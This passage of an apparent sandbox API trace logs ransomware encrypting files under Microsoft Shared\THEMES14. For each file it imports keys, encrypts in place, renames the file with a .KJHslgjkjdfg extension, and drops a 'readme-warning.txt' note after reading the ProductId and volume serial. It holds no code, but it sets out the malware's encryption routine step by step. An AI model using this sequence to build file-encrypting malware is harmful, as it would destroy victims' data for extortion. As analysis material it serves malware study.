hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.127] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.128] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.128] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.128] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.128] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.128] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.128] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.128] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.128] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7279, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x7279, lpOverlapped=0x0) returned 1 [0178.130] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7280, dwBufLen=0x7280 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7280) returned 1 [0178.130] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.130] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7280, lpOverlapped=0x0) returned 1 [0178.130] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.130] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.130] SetEndOfFile (hFile=0x12c) returned 1 [0178.133] GetProcessHeap () returned 0x990000 [0178.133] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.133] GetProcessHeap () returned 0x990000 [0178.133] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.141] CloseHandle (hObject=0x12c) returned 1 [0178.141] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.141] GetProcessHeap () returned 0x990000 [0178.141] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.141] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.141] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.141] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.141] GetProcessHeap () returned 0x990000 [0178.141] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.141] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.141] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.141] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.141] GetProcessHeap () returned 0x990000 [0178.141] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.141] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.141] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.142] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.142] GetProcessHeap () returned 0x990000 [0178.142] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.142] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.142] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.142] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.142] GetProcessHeap () returned 0x990000 [0178.142] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.142] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.142] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.142] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.142] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.142] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.142] RegCloseKey (hKey=0x12c) returned 0x0 [0178.142] GetProcessHeap () returned 0x990000 [0178.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.142] GetProcessHeap () returned 0x990000 [0178.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.142] GetProcessHeap () returned 0x990000 [0178.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.143] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.143] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.143] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.143] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.143] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.143] GetProcessHeap () returned 0x990000 [0178.143] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.143] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.143] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.143] GetProcessHeap () returned 0x990000 [0178.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.143] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\readme-warning.txt") returned 78 [0178.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.144] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.144] CloseHandle (hObject=0x12c) returned 1 [0178.145] GetProcessHeap () returned 0x990000 [0178.145] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.145] GetProcessHeap () returned 0x990000 [0178.145] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.145] GetProcessHeap () returned 0x990000 [0178.145] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.145] GetProcessHeap () returned 0x990000 [0178.145] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.145] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.145] GetProcessHeap () returned 0x990000 [0178.145] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.145] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1 [0178.145] GetProcessHeap () returned 0x990000 [0178.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8c) returned 0x9b0940 [0178.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.146] GetProcessHeap () returned 0x990000 [0178.146] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.146] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.146] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.147] GetProcessHeap () returned 0x990000 [0178.147] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28e) returned 0x9b1eb0 [0178.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.148] GetProcessHeap () returned 0x990000 [0178.148] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.148] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.148] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.148] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0178.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.153] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.153] GetProcessHeap () returned 0x990000 [0178.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.154] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.154] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.154] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.154] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.154] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.154] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.154] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.154] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.154] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.154] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.154] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3f1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x3f1, lpOverlapped=0x0) returned 1 [0178.154] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x400, dwBufLen=0x400 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x400) returned 1 [0178.155] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.155] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x400, lpOverlapped=0x0) returned 1 [0178.155] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.155] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.155] SetEndOfFile (hFile=0x12c) returned 1 [0178.158] GetProcessHeap () returned 0x990000 [0178.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.158] GetProcessHeap () returned 0x990000 [0178.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.161] CloseHandle (hObject=0x12c) returned 1 [0178.161] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0178.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.161] GetProcessHeap () returned 0x990000 [0178.161] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.162] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.162] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.162] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.162] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.162] GetProcessHeap () returned 0x990000 [0178.162] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.162] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.162] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.162] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.163] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.163] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.164] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.164] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.164] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.164] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.164] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.164] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.164] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14c40, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x14c40, lpOverlapped=0x0) returned 1 [0178.166] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x14c40, dwBufLen=0x14c40 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x14c40) returned 1 [0178.167] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.167] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14c40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x14c40, lpOverlapped=0x0) returned 1 [0178.167] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.167] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x14d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.167] SetEndOfFile (hFile=0x12c) returned 1 [0178.170] GetProcessHeap () returned 0x990000 [0178.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.170] GetProcessHeap () returned 0x990000 [0178.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.kjhslgjkjdfg")) returned 1 [0178.197] CloseHandle (hObject=0x12c) returned 1 [0178.198] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, 